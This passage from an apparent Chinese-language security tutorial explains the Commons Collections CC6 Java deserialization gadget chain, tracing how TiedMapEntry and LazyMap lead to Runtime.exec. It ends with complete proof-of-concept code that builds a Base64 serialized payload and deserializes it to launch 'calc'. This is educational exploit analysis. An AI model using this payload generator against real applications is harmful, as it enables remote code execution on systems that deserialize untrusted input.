LazyMap
的get()
方法就能触发RCE
在ysoserial中使用到了TiedMapEntry
中的getValue()
方法来触发LazyMap
的get()
方法:
public Object getValue() { return this.map.get(this.key); }
而TiedMapEntry
使用hashCode()
方法计算hash值的时候有调用到getValue()
方法:
public int hashCode() { Object value = this.getValue(); return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
在这里需要调用到hashCode()
方法,这就和URLDNS链类似了,可以将HashMap
的key值赋值为TiedMapEntry
,然后在反序列化之后计算key的Hash值的时候可以触发TiedMapEntry
的hashCode()
方法:
简化版CC6
payload如下:
String[] cmd = new String[]{"calc"}; Transformer[] tfs = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmd}) }; ChainedTransformer ctf = new ChainedTransformer(tfs); Map lazymap = LazyMap.decorate(new HashMap(), ctf); TiedMapEntry tme = new TiedMapEntry(new HashMap(),null); Field field = tme.getClass().getDeclaredField("map"); field.setAccessible(true); HashMap hm = new HashMap(); hm.put(tme,null); field.set(tme,lazymap); //payload生成 ByteArrayOutputStream bos = new ByteArrayOutputStream(); new ObjectOutputStream(bos).writeObject(hm); String paylaod = new String( Base64.getEncoder().encode(bos.toByteArray()) ); System.out.println(paylaod); //payload验证 ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream( Base64.getDecoder().decode(paylaod) ) ); ois.readObject();